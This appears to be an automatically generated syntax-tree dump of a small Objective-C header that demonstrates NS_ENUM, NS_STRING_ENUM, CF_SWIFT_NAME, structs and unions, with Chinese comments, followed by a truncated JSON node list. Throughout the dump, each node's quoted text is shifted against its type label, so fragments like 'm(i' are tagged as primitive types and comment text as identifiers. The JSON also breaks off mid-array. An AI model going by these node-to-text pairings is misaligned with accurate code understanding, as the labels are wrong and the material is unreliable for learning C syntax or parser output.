里面有两个参数:\n - 第一个参数是类型\n - 第二个是enum名称\n */\ntypedef NS_ENUM(int,PQCarType) {\n PQBMW,PQAUDI,PQB" (typedef) ";\n\n\n#pr" (struct_specifier) "gma mark - 4 enum\ntypedef enum {\n BMW,AUDI,BENZ\n}CarType;\n\n/*\n 里面有两个参数:\n - 第一个参数是类型\n - 第二个是enum名称\n */\ntypedef NS_ENUM(int,PQCarType) {\n PQBMW,PQAUD" (struct) "gma ma" (field_declaration_list) "k - 4 enum\ntypedef enum {\n BMW,AUDI,BENZ\n}CarType;\n\n/*\n 里面有两个参数:\n - 第一个参数是类型\n - 第二个是enum名称\n */\ntypedef NS_ENUM(int,PQCarType) {\n PQBMW,PQAUD" ({) "k" (field_declaration) "enum\ntypedef enum {\n BMW,AUDI,BENZ\n}CarType;\n\n/*\n 里" (union_specifier) "enum\ntypedef enum {\n BMW,AUDI,BENZ\n}CarType;\n\n/*\n " (union) "enum\n" (field_declaration_list) "ypedef enum {\n BMW,AUDI,BENZ\n}CarType;\n\n/*\n " ({) "y" (field_declaration) "m {\n BMW" (primitive_type) "m {\n" (field_identifier) " BM" (;) "W" (field_declaration) "Z\n}CarType;" (primitive_type) "Z\n}" (field_identifier) "arType" (;) ";" (}) " " (;) "里" (field_declaration) " 第一个参数是类型\n - 第二个是enum名称\n */\ntypedef NS_ENUM(int,PQCarType) {\n PQBM" (struct_specifier) " 第一个参数是类型\n - 第二个是enum名称\n */\ntypedef NS_ENUM(int,PQCarType) {\n " (struct) " 第一个参数" (field_declaration_list) "类型\n - 第二个是enum名称\n */\ntypedef NS_ENUM(int,PQCarType) {\n " ({) "类" (field_declaration) "enum名称\n */\ntype" (primitive_type) "enum名称" (field_identifier) " */\ntyp" (;) "e" (field_declaration) "UM(int,PQCarType)" (primitive_type) "UM(i" (field_identifier) "t,PQCarType" (;) ")" (}) " " (field_identifier) " PQB" (;) "M" (}) "D" (type_identifier) ",PQ" (;) "B" (preproc_call) "\n};\n\n\n#endif\n" (preproc_directive) "\n};\n\n\n#" (preproc_arg) "ndif\n" (type_definition) "" (typedef) "" (enum_specifier) "" (enum) "" (enumerator_list) "" ({) "" (enumerator) "" (identifier) "" (,) "" (enumerator) "" (identifier) "" (,) "" (enumerator) "" (identifier) "" (}) "" (type_identifier) "" (;) "" (comment) "" (type_definition) "" (typedef) "" (macro_type_specifier) "" (identifier) "" (() "" (ERROR) "" (type_descriptor) "" (primitive_type) "" (,) "" (type_descriptor) "" (type_identifier) "" ()) "" (ERROR) "" ({) "" (type_identifier) "" (,) "" (type_identifier) "" (,) "" (type_identifier) "" (ERROR) "" (}) "" (;) "" (#endif) ""
381
16
{"language": "c", "success": true, "metadata": {"lines": 77, "avg_line_length": 19.91, "nodes": 242, "errors": 0, "source_hash": "486fd918650b39cea430b03e16186b687ec51e41d99c83473c178e136f181a97", "categorized_nodes": 166}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "Foundation/Foundation.h>\n\n#ifndef ", "parent": null, "children": [1, 2], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 9, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "Foundat", "parent": 0, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "on/Foundation.h>\n\n#ifndef", "parent": 0, "children": [], "start_point": {"row": 8, "column": 8}, "end_point": {"row": 8, "column": 33}}, {"id": 3, "type": "preproc_ifdef", "text": "File\n#define CFile\n\n#pragma mark - 1 \u53d8\u91cf\u5f15\u7528\nconst int global_ten;\n\n// NS_STRING_ENUM \u901a\u5e38\u8868\u793a\u503c\u56fa\u5b9a\ntypedef NSString * PQButtonColor NS_STRING_ENUM;\n\nPQButtonColor const PQButtonColorRed;\nPQButtonColor const PQButtonColorGreen;\nPQButtonColor const PQButtonColorBlue;\n\n// NS_EXTENSIBLE_STRING_ENUM \u8868\u793a\u53ef\u6269\u5c55\ntypedef int Shape NS_EXTENSIBLE_STRING_ENUM;\n\nShape const ShapeCircle;\nShape const ShapeTriangle;\nShape const ShapeSquare;\n\n\n\n#pragma mark - 2 \u51fd\u6570\u5f15\u7528\nint add(int a, int b);\nint sum(int, ...);\nint vsum(int, va_list);\n\n\n#pragma mark - 3 struct \u548c unique \u5f15\u7528\n\ntypedef struct{\n int x,y;\n}Location;\n\n//\u4e3astruct\u6dfb\u52a0\u65b9\u6cd5\n//ps \u56e0\u4e3a\u5199\u7684\u662f\u5168\u5c40\u65b9\u6cd5\uff0c\u6240\u4ee5\u8981\u8fd9\u6837\u5b50\u8c03\u7528\uff0c\u5982\u4f55\u53d8\u6210\u5bf9\u8c61\u8c03\u7528\u5462\uff1f\n// \u4f7f\u7528CF_SWIFT_NAME\u4fee\u9970\u8fd9\u4e2a\u65b9\u6cd5\uff0c\u628aname\u53d8\u6210\u7b7e\u540d \nLocation moveX(Location loc, int delta) CF_SWIFT_NAME(Location.moveX(self:delta:));\nLocation moveY(Location loc, int delta);\n\n//\u5de5\u5382\u65b9\u6cd5\u7684\u521b\u5efa\nLocation createLocation(int) CF_SWIFT_NAME(Location.init(xy:));\n\n//getter\nLocation getOrigin(void) CF_SWIFT_NAME(getter:Location.origin());\n//setter\nLocation setOrigin(Location) CF_SWIFT_NAME(setter:Location.origin(newOrigin:));\n\n\ntypedef union {\n char character;\n int code;\n} ASCII;\n\n\n// struct and union\ntypedef struct {\n union {\n char model;\n int series;\n };\n \n struct {\n double pricing;\n bool isAvailable;\n }info;\n \n} Car;\n\n\n#pragma mark - 4 enum\ntypedef enum {\n BMW,AUDI,BENZ\n}CarType;\n\n/*\n \u91cc\u9762\u6709\u4e24\u4e2a\u53c2\u6570\uff1a\n - \u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u7c7b\u578b\n - \u7b2c\u4e8c\u4e2a\u662fenum\u540d\u79f0\n */\ntypedef NS_ENUM(int,PQCarType) {\n PQBMW,PQAUDI,PQBENZ\n};\n\n\n#endif\n", "parent": null, "children": [4, 5, 6, 9, 12, 16, 23, 27, 31, 35, 41, 45, 49, 53, 56, 66, 75, 84, 87, 96, 119, 130, 146, 162, 178, 188, 212, 215, 227, 241], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 95, "column": 6}}, {"id": 4, "type": "#ifndef", "text": "File\n#d", "parent": 3, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 7}}, {"id": 5, "type": "identifier", "text": "fine ", "parent": 3, "children": [], "start_point": {"row": 10, "column": 8}, "end_point": {"row": 10, "column": 13}}, {"id": 6, "type": "preproc_def", "text": "File\n\n#pragma ", "parent": 3, "children": [7, 8], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 12, "column": 0}}, {"id": 7, "type": "#define", "text": "File\n\n#", "parent": 6, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 7}}, {"id": 8, "type": "identifier", "text": "ragma", "parent": 6, "children": [], "start_point": {"row": 11, "column": 8}, "end_point": {"row": 11, "column": 13}}, {"id": 9, "type": "preproc_call", "text": "ark - 1 \u53d8\u91cf\u5f15\u7528\nconst int global_", "parent": 3, "children": [10, 11], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 14, "column": 0}}, {"id": 10, "type": "preproc_directive", "text": "ark - 1", "parent": 9, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 7}}, {"id": 11, "type": "preproc_arg", "text": "\u53d8\u91cf\u5f15\u7528\nconst int global", "parent": 9, "children": [], "start_point": {"row": 13, "column": 8}, "end_point": {"row": 13, "column": 29}}, {"id": 12, "type": "declaration", "text": "ten;\n\n// NS_STRING_EN", "parent": 3, "children": [13, 14, 15], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 21}}, {"id": 13, "type": "type_qualifier", "text": "ten;\n", "parent": 12, "children": [], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 5}}, {"id": 14, "type": "primitive_type", "text": "// ", "parent": 12, "children": [], "start_point": {"row": 14, "column": 6}, "end_point": {"row": 14, "column": 9}}, {"id": 15, "type": "identifier", "text": "S_STRING_E", "parent": 12, "children": [], "start_point": {"row": 14, "column": 10}, "end_point": {"row": 14, "column": 20}}, {"id": 16, "type": "type_definition", "text": "r NS_STRING_ENUM;\n\nPQButtonColor", "parent": 3, "children": [17, 18, 19], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 32}}, {"id": 17, "type": "typedef", "text": "r NS_ST", "parent": 16, "children": [], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 7}}, {"id": 18, "type": "type_identifier", "text": "ING_ENUM", "parent": 16, "children": [], "start_point": {"row": 17, "column": 8}, "end_point": {"row": 17, "column": 16}}, {"id": 19, "type": "pointer_declarator", "text": "\n\nPQButtonColor", "parent": 16, "children": [20, 21], "start_point": {"row": 17, "column": 17}, "end_point": {"row": 17, "column": 32}}, {"id": 20, "type": "*", "text": "\n", "parent": 19, "children": [], "start_point": {"row": 17, "column": 17}, "end_point": {"row": 17, "column": 18}}, {"id": 21, "type": "type_identifier", "text": "PQButtonColor", "parent": 19, "children": [], "start_point": {"row": 17, "column": 19}, "end_point": {"row": 17, "column": 32}}, {"id": 22, "type": "identifier", "text": "const PQButton", "parent": 3, "children": [], "start_point": {"row": 17, "column": 33}, "end_point": {"row": 17, "column": 47}}, {"id": 23, "type": "declaration", "text": "orRed;\nPQButtonColor const PQButtonCo", "parent": 3, "children": [24, 25, 26], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 37}}, {"id": 24, "type": "type_identifier", "text": "orRed;\nPQButt", "parent": 23, "children": [], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 13}}, {"id": 25, "type": "type_qualifier", "text": "nColo", "parent": 23, "children": [], "start_point": {"row": 19, "column": 14}, "end_point": {"row": 19, "column": 19}}, {"id": 26, "type": "identifier", "text": " const PQButtonC", "parent": 23, "children": [], "start_point": {"row": 19, "column": 20}, "end_point": {"row": 19, "column": 36}}, {"id": 27, "type": "declaration", "text": "orGreen;\nPQButtonColor const PQButtonCo", "parent": 3, "children": [28, 29, 30], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 20, "column": 39}}, {"id": 28, "type": "type_identifier", "text": "orGreen;\nPQBu", "parent": 27, "children": [], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 20, "column": 13}}, {"id": 29, "type": "type_qualifier", "text": "tonCo", "parent": 27, "children": [], "start_point": {"row": 20, "column": 14}, "end_point": {"row": 20, "column": 19}}, {"id": 30, "type": "identifier", "text": "or const PQButtonC", "parent": 27, "children": [], "start_point": {"row": 20, "column": 20}, "end_point": {"row": 20, "column": 38}}, {"id": 31, "type": "declaration", "text": "orBlue;\n\n// NS_EXTENSIBLE_STRING_ENUM ", "parent": 3, "children": [32, 33, 34], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 21, "column": 38}}, {"id": 32, "type": "type_identifier", "text": "orBlue;\n\n// N", "parent": 31, "children": [], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 21, "column": 13}}, {"id": 33, "type": "type_qualifier", "text": "_EXTE", "parent": 31, "children": [], "start_point": {"row": 21, "column": 14}, "end_point": {"row": 21, "column": 19}}, {"id": 34, "type": "identifier", "text": "SIBLE_STRING_ENUM", "parent": 31, "children": [], "start_point": {"row": 21, "column": 20}, "end_point": {"row": 21, "column": 37}}, {"id": 35, "type": "type_definition", "text": "UM;\n\nShape const ShapeCircle;\nShape const Sh", "parent": 3, "children": [36, 37, 38, 40], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 44}}, {"id": 36, "type": "typedef", "text": "UM;\n\nSh", "parent": 35, "children": [], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 7}}, {"id": 37, "type": "primitive_type", "text": "pe ", "parent": 35, "children": [], "start_point": {"row": 24, "column": 8}, "end_point": {"row": 24, "column": 11}}, {"id": 38, "type": "ERROR", "text": "onst ", "parent": 35, "children": [39], "start_point": {"row": 24, "column": 12}, "end_point": {"row": 24, "column": 17}}, {"id": 39, "type": "type_identifier", "text": "onst ", "parent": 38, "children": [], "start_point": {"row": 24, "column": 12}, "end_point": {"row": 24, "column": 17}}, {"id": 40, "type": "type_identifier", "text": "hapeCircle;\nShape const S", "parent": 35, "children": [], "start_point": {"row": 24, "column": 18}, "end_point": {"row": 24, "column": 43}}, {"id": 41, "type": "declaration", "text": "eTriangle;\nShape const S", "parent": 3, "children": [42, 43, 44], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 26, "column": 24}}, {"id": 42, "type": "type_identifier", "text": "eTria", "parent": 41, "children": [], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 26, "column": 5}}, {"id": 43, "type": "type_qualifier", "text": "gle;\n", "parent": 41, "children": [], "start_point": {"row": 26, "column": 6}, "end_point": {"row": 26, "column": 11}}, {"id": 44, "type": "identifier", "text": "hape const ", "parent": 41, "children": [], "start_point": {"row": 26, "column": 12}, "end_point": {"row": 26, "column": 23}}, {"id": 45, "type": "declaration", "text": "apeSquare;\n\n\n\n#pragma mark", "parent": 3, "children": [46, 47, 48], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 27, "column": 26}}, {"id": 46, "type": "type_identifier", "text": "apeSq", "parent": 45, "children": [], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 27, "column": 5}}, {"id": 47, "type": "type_qualifier", "text": "are;\n", "parent": 45, "children": [], "start_point": {"row": 27, "column": 6}, "end_point": {"row": 27, "column": 11}}, {"id": 48, "type": "identifier", "text": "\n\n#pragma mar", "parent": 45, "children": [], "start_point": {"row": 27, "column": 12}, "end_point": {"row": 27, "column": 25}}, {"id": 49, "type": "declaration", "text": "- 2 \u51fd\u6570\u5f15\u7528\nint add(int a, ", "parent": 3, "children": [50, 51, 52], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 28, "column": 24}}, {"id": 50, "type": "type_identifier", "text": "- 2 \u51fd", "parent": 49, "children": [], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 28, "column": 5}}, {"id": 51, "type": "type_qualifier", "text": "\u5f15\u7528\nin", "parent": 49, "children": [], "start_point": {"row": 28, "column": 6}, "end_point": {"row": 28, "column": 11}}, {"id": 52, "type": "identifier", "text": " add(int a,", "parent": 49, "children": [], "start_point": {"row": 28, "column": 12}, "end_point": {"row": 28, "column": 23}}, {"id": 53, "type": "preproc_call", "text": "b);\nint sum(int, ...);\nint vsu", "parent": 3, "children": [54, 55], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 33, "column": 0}}, {"id": 54, "type": "preproc_directive", "text": "b);\nint", "parent": 53, "children": [], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 32, "column": 7}}, {"id": 55, "type": "preproc_arg", "text": "sum(int, ...);\nint vs", "parent": 53, "children": [], "start_point": {"row": 32, "column": 8}, "end_point": {"row": 32, "column": 29}}, {"id": 56, "type": "declaration", "text": "m(int, va_list);\n\n\n#pr", "parent": 3, "children": [57, 58], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 33, "column": 22}}, {"id": 57, "type": "primitive_type", "text": "m(i", "parent": 56, "children": [], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 33, "column": 3}}, {"id": 58, "type": "function_declarator", "text": "t, va_list);\n\n\n#p", "parent": 56, "children": [59, 60], "start_point": {"row": 33, "column": 4}, "end_point": {"row": 33, "column": 21}}, {"id": 59, "type": "identifier", "text": "t, ", "parent": 58, "children": [], "start_point": {"row": 33, "column": 4}, "end_point": {"row": 33, "column": 7}}, {"id": 60, "type": "parameter_list", "text": "va_list);\n\n\n#p", "parent": 58, "children": [61, 64], "start_point": {"row": 33, "column": 7}, "end_point": {"row": 33, "column": 21}}, {"id": 61, "type": "parameter_declaration", "text": "a_lis", "parent": 60, "children": [62, 63], "start_point": {"row": 33, "column": 8}, "end_point": {"row": 33, "column": 13}}, {"id": 62, "type": "primitive_type", "text": "a_l", "parent": 61, "children": [], "start_point": {"row": 33, "column": 8}, "end_point": {"row": 33, "column": 11}}, {"id": 63, "type": "identifier", "text": "s", "parent": 61, "children": [], "start_point": {"row": 33, "column": 12}, "end_point": {"row": 33, "column": 13}}, {"id": 64, "type": "parameter_declaration", "text": ";\n\n\n#", "parent": 60, "children": [65], "start_point": {"row": 33, "column": 15}, "end_point": {"row": 33, "column": 20}}, {"id": 65, "type": "identifier", "text": "#", "parent": 64, "children": [], "start_point": {"row": 33, "column": 19}, "end_point": {"row": 33, "column": 20}}, {"id": 66, "type": "declaration", "text": "gma mark - 3 struc", "parent": 3, "children": [67, 68], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 34, "column": 18}}, {"id": 67, "type": "primitive_type", "text": "gma", "parent": 66, "children": [], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 34, "column": 3}}, {"id": 68, "type": "function_declarator", "text": "mark - 3 stru", "parent": 66, "children": [69, 70], "start_point": {"row": 34, "column": 4}, "end_point": {"row": 34, "column": 17}}, {"id": 69, "type": "identifier", "text": "mar", "parent": 68, "children": [], "start_point": {"row": 34, "column": 4}, "end_point": {"row": 34, "column": 7}}, {"id": 70, "type": "parameter_list", "text": "k - 3 stru", "parent": 68, "children": [71, 73], "start_point": {"row": 34, "column": 7}, "end_point": {"row": 34, "column": 17}}, {"id": 71, "type": "parameter_declaration", "text": " - ", "parent": 70, "children": [72], "start_point": {"row": 34, "column": 8}, "end_point": {"row": 34, "column": 11}}, {"id": 72, "type": "primitive_type", "text": " - ", "parent": 71, "children": [], "start_point": {"row": 34, "column": 8}, "end_point": {"row": 34, "column": 11}}, {"id": 73, "type": "variadic_parameter", "text": "str", "parent": 70, "children": [74], "start_point": {"row": 34, "column": 13}, "end_point": {"row": 34, "column": 16}}, {"id": 74, "type": "...", "text": "str", "parent": 73, "children": [], "start_point": {"row": 34, "column": 13}, "end_point": {"row": 34, "column": 16}}, {"id": 75, "type": "declaration", "text": " \u548c unique \u5f15\u7528\n\ntypedef s", "parent": 3, "children": [76, 77], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 35, "column": 23}}, {"id": 76, "type": "primitive_type", "text": " \u548c ", "parent": 75, "children": [], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 35, "column": 3}}, {"id": 77, "type": "function_declarator", "text": "nique \u5f15\u7528\n\ntypedef ", "parent": 75, "children": [78, 79], "start_point": {"row": 35, "column": 4}, "end_point": {"row": 35, "column": 22}}, {"id": 78, "type": "identifier", "text": "niqu", "parent": 77, "children": [], "start_point": {"row": 35, "column": 4}, "end_point": {"row": 35, "column": 8}}, {"id": 79, "type": "parameter_list", "text": "e \u5f15\u7528\n\ntypedef ", "parent": 77, "children": [80, 82], "start_point": {"row": 35, "column": 8}, "end_point": {"row": 35, "column": 22}}, {"id": 80, "type": "parameter_declaration", "text": " \u5f15\u7528", "parent": 79, "children": [81], "start_point": {"row": 35, "column": 9}, "end_point": {"row": 35, "column": 12}}, {"id": 81, "type": "primitive_type", "text": " \u5f15\u7528", "parent": 80, "children": [], "start_point": {"row": 35, "column": 9}, "end_point": {"row": 35, "column": 12}}, {"id": 82, "type": "parameter_declaration", "text": "typedef", "parent": 79, "children": [83], "start_point": {"row": 35, "column": 14}, "end_point": {"row": 35, "column": 21}}, {"id": 83, "type": "type_identifier", "text": "typedef", "parent": 82, "children": [], "start_point": {"row": 35, "column": 14}, "end_point": {"row": 35, "column": 21}}, {"id": 84, "type": "preproc_call", "text": "ct{\n int x,y;\n}Location;\n\n//\u4e3astruct\u6dfb\u52a0\u65b9\u6cd5", "parent": 3, "children": [85, 86], "start_point": {"row": 38, "column": 0}, "end_point": {"row": 39, "column": 0}}, {"id": 85, "type": "preproc_directive", "text": "ct{\n ", "parent": 84, "children": [], "start_point": {"row": 38, "column": 0}, "end_point": {"row": 38, "column": 7}}, {"id": 86, "type": "preproc_arg", "text": "int x,y;\n}Location;\n\n//\u4e3astruct\u6dfb\u52a0\u65b9", "parent": 84, "children": [], "start_point": {"row": 38, "column": 8}, "end_point": {"row": 38, "column": 41}}, {"id": 87, "type": "type_definition", "text": "//ps \u56e0\u4e3a\u5199\u7684\u662f\u5168\u5c40\u65b9\u6cd5\uff0c\u6240\u4ee5\u8981\u8fd9\u6837\u5b50\u8c03\u7528\uff0c\u5982\u4f55\u53d8\u6210\u5bf9\u8c61\u8c03\u7528\u5462\uff1f\n// \u4f7f", "parent": 3, "children": [88, 89, 95], "start_point": {"row": 40, "column": 0}, "end_point": {"row": 42, "column": 10}}, {"id": 88, "type": "typedef", "text": "//ps \u56e0\u4e3a", "parent": 87, "children": [], "start_point": {"row": 40, "column": 0}, "end_point": {"row": 40, "column": 7}}, {"id": 89, "type": "struct_specifier", "text": "\u7684\u662f\u5168\u5c40\u65b9\u6cd5\uff0c\u6240\u4ee5\u8981\u8fd9\u6837\u5b50\u8c03\u7528\uff0c\u5982\u4f55\u53d8\u6210\u5bf9\u8c61", "parent": 87, "children": [90], "start_point": {"row": 40, "column": 8}, "end_point": {"row": 42, "column": 1}}, {"id": 90, "type": "struct", "text": "\u7684\u662f\u5168\u5c40\u65b9\u6cd5", "parent": 89, "children": [], "start_point": {"row": 40, "column": 8}, "end_point": {"row": 40, "column": 14}}, {"id": 91, "type": "field_declaration", "text": "\u5b50\u8c03\u7528\uff0c\u5982\u4f55\u53d8\u6210", "parent": 89, "children": [92, 93, 94], "start_point": {"row": 41, "column": 4}, "end_point": {"row": 41, "column": 12}}, {"id": 92, "type": "primitive_type", "text": "\u5b50\u8c03\u7528", "parent": 91, "children": [], "start_point": {"row": 41, "column": 4}, "end_point": {"row": 41, "column": 7}}, {"id": 93, "type": "field_identifier", "text": "\u5982", "parent": 91, "children": [], "start_point": {"row": 41, "column": 8}, "end_point": {"row": 41, "column": 9}}, {"id": 94, "type": "field_identifier", "text": "\u53d8", "parent": 91, "children": [], "start_point": {"row": 41, "column": 10}, "end_point": {"row": 41, "column": 11}}, {"id": 95, "type": "type_identifier", "text": "\u8c03\u7528\u5462\uff1f\n// ", "parent": 87, "children": [], "start_point": {"row": 42, "column": 1}, "end_point": {"row": 42, "column": 9}}, {"id": 96, "type": "ERROR", "text": "Location(int) CF_SWIFT_NAME(Location.init(xy:));\n\n//getter\nLocation getOrigin(void", "parent": 3, "children": [97, 98], "start_point": {"row": 47, "column": 0}, "end_point": {"row": 47, "column": 82}}, {"id": 97, "type": "type_identifier", "text": "Location", "parent": 96, "children": [], "start_point": {"row": 47, "column": 0}, "end_point": {"row": 47, "column": 8}}, {"id": 98, "type": "function_declarator", "text": "int) CF_SWIFT_NAME(Location.init(xy:));\n\n//getter\nLocation getOrigin(void", "parent": 96, "children": [99, 100, 107], "start_point": {"row": 47, "column": 9}, "end_point": {"row": 47, "column": 82}}, {"id": 99, "type": "identifier", "text": "int) ", "parent": 98, "children": [], "start_point": {"row": 47, "column": 9}, "end_point": {"row": 47, "column": 14}}, {"id": 100, "type": "parameter_list", "text": "CF_SWIFT_NAME(Location.in", "parent": 98, "children": [101, 104], "start_point": {"row": 47, "column": 14}, "end_point": {"row": 47, "column": 39}}, {"id": 101, "type": "parameter_declaration", "text": "F_SWIFT_NAME", "parent": 100, "children": [102, 103], "start_point": {"row": 47, "column": 15}, "end_point": {"row": 47, "column": 27}}, {"id": 102, "type": "type_identifier", "text": "F_SWIFT_", "parent": 101, "children": [], "start_point": {"row": 47, "column": 15}, "end_point": {"row": 47, "column": 23}}, {"id": 103, "type": "identifier", "text": "AME", "parent": 101, "children": [], "start_point": {"row": 47, "column": 24}, "end_point": {"row": 47, "column": 27}}, {"id": 104, "type": "parameter_declaration", "text": "ocation.i", "parent": 100, "children": [105, 106], "start_point": {"row": 47, "column": 29}, "end_point": {"row": 47, "column": 38}}, {"id": 105, "type": "primitive_type", "text": "oca", "parent": 104, "children": [], "start_point": {"row": 47, "column": 29}, "end_point": {"row": 47, "column": 32}}, {"id": 106, "type": "identifier", "text": "ion.i", "parent": 104, "children": [], "start_point": {"row": 47, "column": 33}, "end_point": {"row": 47, "column": 38}}, {"id": 107, "type": "call_expression", "text": "t(xy:));\n\n//getter\nLocation getOrigin(void", "parent": 98, "children": [108, 109], "start_point": {"row": 47, "column": 40}, "end_point": {"row": 47, "column": 82}}, {"id": 108, "type": "identifier", "text": "t(xy:));\n\n//g", "parent": 107, "children": [], "start_point": {"row": 47, "column": 40}, "end_point": {"row": 47, "column": 53}}, {"id": 109, "type": "argument_list", "text": "etter\nLocation getOrigin(void", "parent": 107, "children": [110, 112], "start_point": {"row": 47, "column": 53}, "end_point": {"row": 47, "column": 82}}, {"id": 110, "type": "ERROR", "text": "tter\nLoca", "parent": 109, "children": [111], "start_point": {"row": 47, "column": 54}, "end_point": {"row": 47, "column": 63}}, {"id": 111, "type": "identifier", "text": "tter\nLoc", "parent": 110, "children": [], "start_point": {"row": 47, "column": 54}, "end_point": {"row": 47, "column": 62}}, {"id": 112, "type": "call_expression", "text": "tion getOrigin(voi", "parent": 109, "children": [113, 114], "start_point": {"row": 47, "column": 63}, "end_point": {"row": 47, "column": 81}}, {"id": 113, "type": "identifier", "text": "tion ", "parent": 112, "children": [], "start_point": {"row": 47, "column": 63}, "end_point": {"row": 47, "column": 68}}, {"id": 114, "type": "argument_list", "text": "getOrigin(voi", "parent": 112, "children": [115, 117, 118], "start_point": {"row": 47, "column": 68}, "end_point": {"row": 47, "column": 81}}, {"id": 115, "type": "ERROR", "text": "etOri", "parent": 114, "children": [116], "start_point": {"row": 47, "column": 69}, "end_point": {"row": 47, "column": 74}}, {"id": 116, "type": "identifier", "text": "etOr", "parent": 115, "children": [], "start_point": {"row": 47, "column": 69}, "end_point": {"row": 47, "column": 73}}, {"id": 117, "type": "identifier", "text": "gin(v", "parent": 114, "children": [], "start_point": {"row": 47, "column": 74}, "end_point": {"row": 47, "column": 79}}, {"id": 118, "type": "ERROR", "text": "o", "parent": 114, "children": [], "start_point": {"row": 47, "column": 79}, "end_point": {"row": 47, "column": 80}}, {"id": 119, "type": "declaration", "text": "CF_SWIFT_NAME(getter:Location.origin());", "parent": 3, "children": [120, 121], "start_point": {"row": 48, "column": 0}, "end_point": {"row": 48, "column": 40}}, {"id": 120, "type": "type_identifier", "text": "CF_SWIFT", "parent": 119, "children": [], "start_point": {"row": 48, "column": 0}, "end_point": {"row": 48, "column": 8}}, {"id": 121, "type": "function_declarator", "text": "NAME(getter:Location.origin())", "parent": 119, "children": [122, 123], "start_point": {"row": 48, "column": 9}, "end_point": {"row": 48, "column": 39}}, {"id": 122, "type": "identifier", "text": "NAME(", "parent": 121, "children": [], "start_point": {"row": 48, "column": 9}, "end_point": {"row": 48, "column": 14}}, {"id": 123, "type": "parameter_list", "text": "getter:Location.origin())", "parent": 121, "children": [124, 127], "start_point": {"row": 48, "column": 14}, "end_point": {"row": 48, "column": 39}}, {"id": 124, "type": "parameter_declaration", "text": "etter:Locati", "parent": 123, "children": [125, 126], "start_point": {"row": 48, "column": 15}, "end_point": {"row": 48, "column": 27}}, {"id": 125, "type": "type_identifier", "text": "etter:Lo", "parent": 124, "children": [], "start_point": {"row": 48, "column": 15}, "end_point": {"row": 48, "column": 23}}, {"id": 126, "type": "identifier", "text": "ati", "parent": 124, "children": [], "start_point": {"row": 48, "column": 24}, "end_point": {"row": 48, "column": 27}}, {"id": 127, "type": "parameter_declaration", "text": ".origin()", "parent": 123, "children": [128, 129], "start_point": {"row": 48, "column": 29}, "end_point": {"row": 48, "column": 38}}, {"id": 128, "type": "primitive_type", "text": ".or", "parent": 127, "children": [], "start_point": {"row": 48, "column": 29}, "end_point": {"row": 48, "column": 32}}, {"id": 129, "type": "identifier", "text": "gin()", "parent": 127, "children": [], "start_point": {"row": 48, "column": 33}, "end_point": {"row": 48, "column": 38}}, {"id": 130, "type": "ERROR", "text": "in(Location) CF_SWIFT_NAME(setter:Location.origin(newOrigin:))", "parent": 3, "children": [131, 132], "start_point": {"row": 51, "column": 0}, "end_point": {"row": 51, "column": 62}}, {"id": 131, "type": "type_identifier", "text": "in(Locat", "parent": 130, "children": [], "start_point": {"row": 51, "column": 0}, "end_point": {"row": 51, "column": 8}}, {"id": 132, "type": "function_declarator", "text": "on) CF_SWIFT_NAME(setter:Location.origin(newOrigin:))", "parent": 130, "children": [133, 134, 137], "start_point": {"row": 51, "column": 9}, "end_point": {"row": 51, "column": 62}}, {"id": 133, "type": "identifier", "text": "on) CF_SWIFT_N", "parent": 132, "children": [], "start_point": {"row": 51, "column": 9}, "end_point": {"row": 51, "column": 23}}, {"id": 134, "type": "parameter_list", "text": "AME(s", "parent": 132, "children": [135], "start_point": {"row": 51, "column": 23}, "end_point": {"row": 51, "column": 28}}, {"id": 135, "type": "parameter_declaration", "text": "ME(", "parent": 134, "children": [136], "start_point": {"row": 51, "column": 24}, "end_point": {"row": 51, "column": 27}}, {"id": 136, "type": "primitive_type", "text": "ME(", "parent": 135, "children": [], "start_point": {"row": 51, "column": 24}, "end_point": {"row": 51, "column": 27}}, {"id": 137, "type": "call_expression", "text": "tter:Location.origin(newOrigin:))", "parent": 132, "children": [138, 139], "start_point": {"row": 51, "column": 29}, "end_point": {"row": 51, "column": 62}}, {"id": 138, "type": "identifier", "text": "tter:Location", "parent": 137, "children": [], "start_point": {"row": 51, "column": 29}, "end_point": {"row": 51, "column": 42}}, {"id": 139, "type": "argument_list", "text": ".origin(newOrigin:))", "parent": 137, "children": [140, 142], "start_point": {"row": 51, "column": 42}, "end_point": {"row": 51, "column": 62}}, {"id": 140, "type": "ERROR", "text": "origin(ne", "parent": 139, "children": [141], "start_point": {"row": 51, "column": 43}, "end_point": {"row": 51, "column": 52}}, 